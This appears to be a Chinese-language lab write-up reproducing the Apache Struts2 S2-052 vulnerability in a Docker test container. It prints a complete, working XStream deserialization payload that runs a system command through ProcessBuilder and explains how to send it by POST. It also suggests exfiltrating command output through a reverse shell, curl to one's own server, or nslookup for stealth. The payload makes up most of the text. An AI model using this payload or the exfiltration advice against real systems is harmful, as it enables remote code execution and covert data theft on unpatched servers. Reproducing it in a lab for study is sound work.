环境部署
Ubuntu 14.25 +docker
先拉取镜像
$ docker pull medicean/vulapps:s_struts2_s2-052
然后启动
docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052
然后物理机访问成功
Poc复现
根据漏洞原理,仅需要POST相应xml数据即可不需要考虑特定的url 因此构造poc
Xml部分:
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>/usr/bin/touch</string><string>/tmp/ramsm </string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
随便抓了个包
仅需要改为post提交方式以及更改 content-type报头为xml以及post数据内容改为payload
更改后如图之后选择发包。出现500错误。
这里的命令是touch 了一个ramsm的文件,这时候我们进入docker查看一下(因为环境是docker,所以生成的文件也在docker容器内而不再ubuntu) 先执行docker ps 查看docker的容器ID 然后执行
docker exec -it 容器ID /bin/bash
之后进入bash这时候执行ls
如果需要回显这里提供两种办法 一种是简单暴力用bash反弹shell 第二种办法可以使用curl反弹执行结果到自己服务器 为了隐蔽其实推荐使用nslookup ip 因为大部分会禁用curl的方法
=============================================
最近太忙 poc晚点再写- -